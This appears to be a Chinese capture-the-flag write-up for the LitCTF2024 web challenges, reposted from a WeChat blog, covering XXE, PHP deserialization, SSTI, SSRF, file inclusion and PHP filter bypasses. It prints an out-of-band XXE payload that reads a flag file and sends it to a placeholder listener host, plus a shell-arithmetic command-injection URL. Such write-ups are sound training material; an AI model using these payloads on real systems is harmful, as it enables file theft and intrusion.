0x00:前言
web ak之后就撤退了。总结思路还是挺流畅的。一路丝滑解完就撤退。
文章首发:
https://blog.csdn.net/qq_46548764/article/details/139396576
目录结构:
0x01:exx
经典登录框,稍微看看,直接使用poc字典跑一圈。看看有什么注入之类的东西。
看到这里就很明显了,什么xml。这不xxe吗。直接使用xxe的payload打一波看看。
发现直接读取flag,还是不行。就考虑是不是无回显,这个之后就考虑oob+file协议外带数据。
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://x.x.x.x:9999/?x=%file;'>">
%eval;
%exfiltrate;
然后开启一个监听。然后查看GET请求中带的数据就行了。
0x02:SAS - Serializing Authentication System
看这个标题就知道考点是什么了。
反序列化呗,直接构造poc就完事了。
class User {
public $username;
public $password;
}
$pop = new User;
$pop -> username = 'admin';
$pop -> password = 'secure_password';
echo base64_encode(serialize($pop));
0x03一个…池子?
看到这里东西,做多的都大概猜到,大概率是SSTI。简单打个payload验证一下,看看。
成功运行,直接脚本一波梭哈,梭哈是一门艺术。开工具,直接整
这里使用的是fenjing这个ssti测试的工具。
0x04浏览器也能套娃?
看到这个大概就能猜到和SSRF有关了。因为浏览器,还套娃,套什么,其他网站东西。随手打个网址,好的回显。
直接上高速,反正没过滤。
0x05高亮主题(划掉)背景查看器
从源代码中看到,过滤../,然后还包含文件,基本上就是文件包含没跑了。
注意到页面可以手动切换主题:Use this theme,点击该按钮后会向后端发送请求包。
离谱的是切换主题后,发现传递的参数就改了。然后它过滤的是url和theme有什么关系。上高速
0x06: 百万美元的诱惑
error_reporting(0);
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_GET['c'];
if ($a !== $b && md5($a) == md5($b)) {
if (!is_numeric($c) && $c > 2024) {
echo "好康的";
} else {
die("干巴爹干巴爹先辈~");
}
}
else {
die("开胃小菜))");
}
这种弱类型比较,/?a[]=1&b[]=2&c=2025a直接不用想,肌肉记忆就完事了。
拼接访问dollor.php,然后看到代码
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
$x = $_GET['x'];
if(!preg_match("/[a-z0-9;`|#'"%&x09x0a><.,?*-=\[]]/i", $x)){
system("cat ".$x.".php");
}
}else{
highlight_file(__FILE__);
}
和CTF-show某个题目很相似。直接上高速。
过滤了一堆,我们注意到system("cat ".$x.".php")
,根据提示,就只需要构造出12即可。在Linux中,我们可以使用$(())
进行数学运算
可以配合按位取反符号~
进行运算,这样得到的结果就是-1。
然后做出足够多的并且满足12就行了。
/dollar.php?x=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
原文始发于微信公众号(小呆安全):LitCTF2024-WEB
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论